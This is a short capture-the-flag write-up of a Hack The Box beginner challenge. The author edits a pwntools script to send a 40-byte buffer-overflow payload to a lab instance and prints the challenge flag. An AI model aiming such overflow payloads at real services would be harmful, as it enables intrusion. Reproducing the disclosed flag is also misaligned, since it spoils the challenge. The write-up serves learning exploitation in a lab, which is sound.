Challenge: Getting Started

Challenge Description :

Get ready for the last guided challenge and your first real exploit. It's time to show your hacking skills.

Context :

- Basically edit a python exploit to get the flag to print on the IP:PORT.

Notes :

- Tools:
    - Text editor - To open the python script you just use Vscode.
    - Python - Python MUST be install for this to work.

Flag :

- Download the file and open it up. It seems to be a Buffer Overflow exploit. When the instance is finally ready we gain the IP:PORT and edit the script to change the IP:PORT to the one the instance gave us.

```
birdo@DESKTOP-0ENQDDA:/mnt/d/HackTBox/Gettingstarted/challenge$ python3 wrapper.py
[+] Opening connection to 94.237.59.76 on port 35245: Done
Traceback (most recent call last):
  File "/mnt/d/HackTBox/Gettingstarted/challenge/wrapper.py", line 24, in <module>
    success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')
  File "/home/birdo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 581, in
    return self.recvline_pred(pred, keepends, timeout)
  File "/home/birdo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 530, in
    line = self.recvline(keepends=True)
  File "/home/birdo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 498, in
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
  File "/home/birdo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 341, in
    res = self.recv(timeout=self.timeout)
  File "/home/birdo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 106, in
    return self._recv(numb, timeout) or b''
  File "/home/birdo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 176, in
    if not self.buffer and not self._fillbuffer(timeout):
  File "/home/birdo/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 155, in
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/home/birdo/.local/lib/python3.10/site-packages/pwnlib/tubes/sock.py", line 56, in
    raise EOFError
EOFError
[*] Closed connection to 94.237.59.76 port 35245
```

- Running it gave us this, showing a bit of the Flag via the error at the top.

- Looking at the code we might need to change the amount of data in the payload we are sending.

```
#!/usr/bin/python3.8

'''

You need to install pwntools to run the script.

To run the script: python3 ./wrapper.py

'''

# Library

from pwn import *

# Open connection

IP   = '94.237.59.76' # Change this

PORT = 35245      # Change this

r = remote(IP, PORT)

# Craft payload

payload = b'A' * 10 # Change the number of "A"s

# Send payload

r.sendline(payload)

# Read flag

success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')
```

- Modifying the payload to send 40 A instead of 10 will hopefully work, we could easily figure this out by incrementing the payload each time to hopefully get a result. " payload = b'A' * 40 "
- Running the Modified version we get a successful connection and the Flag is fully printed out.

```
birdo@DESKTOP-0ENQDDA:/mnt/d/HackTBox/Gettingstarted/challenge$ python3 wrapper.py
[+] Opening connection to 94.237.59.76 on port 35245: Done
[+] Flag --> HTB{b0f_tut0r14l5_4r3_g00d}
[*] Closed connection to 94.237.59.76 port 35245
birdo@DESKTOP-0ENQDDA:/mnt/d/HackTBox/Gettingstarted/challenge$
```

- The flag we end up getting is : HTB{b0f_tut0r14l5_4r3_g00d}